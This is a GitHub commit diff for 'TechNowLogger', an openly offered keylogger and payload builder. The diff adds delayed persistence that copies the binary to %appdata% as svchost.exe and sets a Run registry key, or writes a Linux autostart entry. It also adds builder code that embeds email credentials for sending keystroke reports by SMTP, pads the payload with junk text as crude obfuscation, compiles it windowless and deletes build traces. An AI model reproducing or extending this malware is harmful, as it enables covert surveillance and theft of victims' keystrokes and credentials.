Skip to content

Commit 454d17b

Browse files
Add files via upload
1 parent 5e4f542 commit 454d17b

File tree

5 files changed

+189
-16
lines changed

5 files changed

+189
-16
lines changed

banners.py

+105
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
import random
2+
3+
figlet_ansi_shadow = """
4+
5+
████████╗██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
6+
╚══██╔══╝██║ ██╔═══██╗██╔════╝ ██╔════╝ ██╔════╝██╔══██╗
7+
██║ ██║ ██║ ██║██║ ███╗██║ ███╗█████╗ ██████╔╝
8+
██║ ██║ ██║ ██║██║ ██║██║ ██║██╔══╝ ██╔══██╗
9+
██║ ███████╗╚██████╔╝╚██████╔╝╚██████╔╝███████╗██║ ██║
10+
╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
11+
12+
"""
13+
14+
figlet_big = """
15+
_______ _ _ _ _
16+
|__ __| | | | \ | | | |
17+
| | ___ ___| |__ | \| | _____ _| | ___ __ _ __ _ ___ _ __
18+
| |/ _ \/ __| '_ \| . ` |/ _ \ \ /\ / / | / _ \ / _` |/ _` |/ _ \ '__|
19+
| | __/ (__| | | | |\ | (_) \ V V /| |___| (_) | (_| | (_| | __/ |
20+
|_|\___|\___|_| |_|_| \_|\___/ \_/\_/ |______\___/ \__, |\__, |\___|_|
21+
__/ | __/ |
22+
|___/ |___/
23+
"""
24+
25+
figlet_bloody = """
26+
27+
▄▄▄█████▓ ██▓ ▒█████ ▄████ ▄████ ▓█████ ██▀███
28+
▓ ██▒ ▓▒▓██▒ ▒██▒ ██▒ ██▒ ▀█▒ ██▒ ▀█▒▓█ ▀ ▓██ ▒ ██▒
29+
▒ ▓██░ ▒░▒██░ ▒██░ ██▒▒██░▄▄▄░▒██░▄▄▄░▒███ ▓██ ░▄█ ▒
30+
░ ▓██▓ ░ ▒██░ ▒██ ██░░▓█ ██▓░▓█ ██▓▒▓█ ▄ ▒██▀▀█▄
31+
▒██▒ ░ ░██████▒░ ████▓▒░░▒▓███▀▒░▒▓███▀▒░▒████▒░██▓ ▒██▒
32+
▒ ░░ ░ ▒░▓ ░░ ▒░▒░▒░ ░▒ ▒ ░▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░
33+
░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
34+
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░
35+
░ ░ ░ ░ ░ ░ ░ ░ ░
36+
37+
"""
38+
39+
figlet_doom = """
40+
_____ _ _ _ _
41+
|_ _| | | | \ | | | |
42+
| | ___ ___| |__ | \| | _____ _| | ___ __ _ __ _ ___ _ __
43+
| |/ _ \/ __| '_ \| . ` |/ _ \ \ /\ / / | / _ \ / _` |/ _` |/ _ \ '__|
44+
| | __/ (__| | | | |\ | (_) \ V V /| |___| (_) | (_| | (_| | __/ |
45+
\_/\___|\___|_| |_\_| \_/\___/ \_/\_/ \_____/\___/ \__, |\__, |\___|_|
46+
__/ | __/ |
47+
|___/ |___/
48+
"""
49+
50+
figlet_drpepper = """
51+
___ _ _ _ _
52+
|_ _|___ ___ | |_ | \ | ___ _ _ _ | | ___ ___ ___ ___ _ _
53+
| |/ ._>/ | '| . || |/ . \| | | || |_ / . \/ . |/ . |/ ._>| '_>
54+
|_|\___.\_|_.|_|_||_\_|\___/|__/_/ |___|\___/\_. |\_. |\___.|_|
55+
<___'<___'
56+
57+
"""
58+
59+
figlet_ogre = """
60+
_____ _ __ __
61+
/__ \___ ___| |__ /\ \ \_____ __/ / ___ __ _ __ _ ___ _ __
62+
/ /\/ _ \/ __| '_ \ / \/ / _ \ \ /\ / / / / _ \ / _` |/ _` |/ _ \ '__|
63+
/ / | __/ (__| | | / /\ / (_) \ V V / /__| (_) | (_| | (_| | __/ |
64+
\/ \___|\___|_| |_\_\ \/ \___/ \_/\_/\____/\___/ \__, |\__, |\___|_|
65+
|___/ |___/
66+
67+
"""
68+
69+
figlet_slant = """
70+
______ __ _ __ __
71+
/_ __/__ _____/ /_ / | / /___ _ __/ / ____ ____ _____ ____ _____
72+
/ / / _ \/ ___/ __ \/ |/ / __ \ | /| / / / / __ \/ __ `/ __ `/ _ \/ ___/
73+
/ / / __/ /__/ / / / /| / /_/ / |/ |/ / /___/ /_/ / /_/ / /_/ / __/ /
74+
/_/ \___/\___/_/ /_/_/ |_/\____/|__/|__/_____/\____/\__, /\__, /\___/_/
75+
/____//____/
76+
"""
77+
78+
figlet_small = """
79+
_____ _ _ _ _
80+
|_ _|__ __| |_ | \| |_____ __ _| | ___ __ _ __ _ ___ _ _
81+
| |/ -_) _| ' \| .` / _ \ V V / |__/ _ \/ _` / _` / -_) '_|
82+
|_|\___\__|_||_|_|\_\___/\_/\_/|____\___/\__, \__, \___|_|
83+
|___/|___/
84+
85+
"""
86+
87+
figlet_smslant = """
88+
______ __ _ __ __
89+
/_ __/__ ____/ / / |/ /__ _ __/ / ___ ___ ____ ____ ____
90+
/ / / -_) __/ _ \/ / _ \ |/|/ / /__/ _ \/ _ `/ _ `/ -_) __/
91+
/_/ \__/\__/_//_/_/|_/\___/__,__/____/\___/\_, /\_, /\__/_/
92+
/___//___/
93+
"""
94+
95+
figlet_standard = """
96+
_____ _ _ _ _
97+
|_ _|__ ___| |__ | \ | | _____ _| | ___ __ _ __ _ ___ _ __
98+
| |/ _ \/ __| '_ \| \| |/ _ \ \ /\ / / | / _ \ / _` |/ _` |/ _ \ '__|
99+
| | __/ (__| | | | |\ | (_) \ V V /| |__| (_) | (_| | (_| | __/ |
100+
|_|\___|\___|_| |_|_| \_|\___/ \_/\_/ |_____\___/ \__, |\__, |\___|_|
101+
|___/ |___/
102+
"""
103+
104+
def get_banner():
105+
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper, figlet_ogre, figlet_slant, figlet_small, figlet_smslant, figlet_standard])

keylogger.py

+10-8
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
#!/usr/bin/env python
22
import pynput.keyboard
3-
import threading
3+
import threading
44
import smtplib
55
import os
66
import shutil
77
import subprocess
88
import sys
99
import stat
1010
import platform
11-
import getpass
12-
import time
11+
import getpass
12+
import time
1313
import tempfile
1414
from mss import mss
1515
# 15 to 18 lines for "send_mail_with_attachment()" function
@@ -111,24 +111,26 @@ def start(self):
111111
self.report()
112112
keyboard_listener.join()
113113

114-
def become_persistent(self):
114+
def become_persistent(self, time_persistent):
115115
if sys.platform.startswith("win"):
116-
self.become_persistent_on_windows()
116+
self.become_persistent_on_windows(time_persistent)
117117
elif sys.platform.startswith("linux"):
118-
self.become_persistent_on_linux()
118+
self.become_persistent_on_linux(time_persistent)
119119

120-
def become_persistent_on_windows(self):
120+
def become_persistent_on_windows(self, time_persistent):
121121
evil_file_location = os.environ["appdata"] + "\\svchost.exe"
122122
if not os.path.exists(evil_file_location):
123+
time.sleep(time_persistent)
123124
self.log = "** TechNowlogger started on Windows System ** "
124125
shutil.copyfile(sys.executable, evil_file_location)
125126
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d "' + evil_file_location + '"', shell=True)
126127

127-
def become_persistent_on_linux(self):
128+
def become_persistent_on_linux(self, time_persistent):
128129
home_config_directory = os.path.expanduser('~') + "/.config/"
129130
autostart_path = home_config_directory + "/autostart/"
130131
autostart_file = autostart_path + "xinput.desktop"
131132
if not os.path.isfile(autostart_file):
133+
time.sleep(time_persistent)
132134
self.log = "** TechNowlogger started On Linux System **"
133135
try:
134136
os.makedirs(autostart_path)

technowgen.py

+31-8
Original file line numberDiff line numberDiff line change
@@ -2,48 +2,71 @@
22
import argparse
33
import subprocess
44
import os
5-
import pyfiglet
5+
import banners
6+
import shutil
7+
from essential_generators import DocumentGenerator
68

79
WINDOWS_PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")
810

911
def get_arguments():
10-
parser = argparse.ArgumentParser(description='TechNowLogger v1.0')
12+
parser = argparse.ArgumentParser(description='TechNowLogger v1.1')
1113
parser._optionals.title = "Optional Arguments"
12-
parser.add_argument("-i", "--interval", dest="interval", help="Time between reports in seconds.", default=120)
14+
parser.add_argument("-i", "--interval", dest="interval", help="Time between reports in seconds. default=120", default=120)
15+
parser.add_argument("-t", "--persistence", dest="time_persistent", help="Becoming Persistence After __ seconds. default=10", default=10)
1316
parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
1417
parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')
18+
1519

1620
required_arguments = parser.add_argument_group('Required Arguments')
1721
required_arguments.add_argument("-e", "--email", dest="email", help="Email address to send reports to.")
1822
required_arguments.add_argument("-p", "--password", dest="password", help="Password for the email address given in the -e argument.")
1923
required_arguments.add_argument("-o", "--out", dest="out", help="Output file name.", required=True)
2024
return parser.parse_args()
2125

22-
def create_keylogger(file_name, interval, email, password):
26+
def create_keylogger(file_name, interval, email, password, time_persistent):
2327
with open(file_name, "w+") as file:
2428
file.write("import keylogger\n")
2529
file.write(f"technowlogger = keylogger.Keylogger({interval}, \'{email}\', \'{password}\')\n")
26-
file.write("technowlogger.become_persistent()\n")
30+
file.write(f"technowlogger.become_persistent({time_persistent})\n")
2731
file.write("technowlogger.start()\n")
32+
33+
def ofuscating_payload(file_name):
34+
gen = DocumentGenerator()
35+
text = "#" + gen.sentence()
36+
with open(file_name, "a") as file:
37+
file.write(text)
2838

2939
def compile_for_windows(file_name):
3040
subprocess.call([WINDOWS_PYTHON_PYINSTALLER_PATH, "--onefile", "--noconsole", file_name])
3141

3242
def compile_for_linux(file_name):
3343
subprocess.call(["pyinstaller", "--onefile", "--noconsole", file_name])
3444

35-
ascii_banner = pyfiglet.figlet_format("TechNowLogger")
36-
print(ascii_banner)
45+
def del_junk_file(file_name):
46+
build = os.getcwd + "\\build"
47+
file_name = os.getcwd + f"\\{file_name}"
48+
os.remove(file_name)
49+
os.remove(file_name + ".spec")
50+
shutil.rmtree(build)
51+
52+
53+
print(banners.get_banner())
3754
print("\t\tAuthor: Pushpender | Website: technowlogy.tk\n")
3855

3956
arguments = get_arguments()
40-
create_keylogger(arguments.out, arguments.interval, arguments.email, arguments.password)
57+
create_keylogger(arguments.out, arguments.interval, arguments.email, arguments.password, int(arguments.time_persistent))
58+
ofuscating_payload(arguments.out)
59+
4160

4261
if arguments.windows:
4362
compile_for_windows(arguments.out)
4463

4564
if arguments.linux:
4665
compile_for_linux(arguments.out)
4766

67+
print("\n[*] Deleting Junk Files...")
68+
del_junk_file(arguments.out)
69+
print("[+] Junk Files Removed Successfully!")
70+
4871
print("\n\n[***] Don't forget to allow less secure applications in your Gmail account.")
4972
print("Use the following link to do so https://myaccount.google.com/lesssecureapps")

updater.py

+39
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
import subprocess
2+
from urllib.request import urlopen
3+
import banners
4+
import time
5+
6+
def update_client_version(version):
7+
with open("version.txt", "r") as vnum:
8+
if vnum.read() != version:
9+
return True
10+
else:
11+
return False
12+
13+
def main():
14+
try:
15+
version = urlopen("https://raw.githubusercontent.com/Technowlogy-Pushpender/technowlogger/master/version.txt").read()
16+
except Exception as e:
17+
print("[!] Unable to Fletch Origin version.txt")
18+
print("[!] Please Check Your Internet Connection!")
19+
print("[*] Exiting ...")
20+
quit()
21+
22+
if update_client_version(version) is True:
23+
subprocess.call(["git", "pull", "origin", "master"])
24+
return "[+] Updated to latest version: v{}..".format(version)
25+
else:
26+
return "[*] You are already up to date with git origin master :)"
27+
28+
29+
if __name__ == '__main__':
30+
print(banners.get_banner())
31+
print("\t\tAuthor: Pushpender | Website: technowlogy.tk\n")
32+
print("[*] Welcome to Technowlogger's Auto Updater")
33+
print("[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]")
34+
print("[*] Please Note : Git must be installed in order to use \"updater.py\"")
35+
time.sleep(5)
36+
print("[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]")
37+
print("[*] Checking Technowlogger's version information..")
38+
print(main())
39+
print("[*] Exiting ...")

version.txt

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
1.1
2+
3+
4+

0 commit comments

Comments
 (0)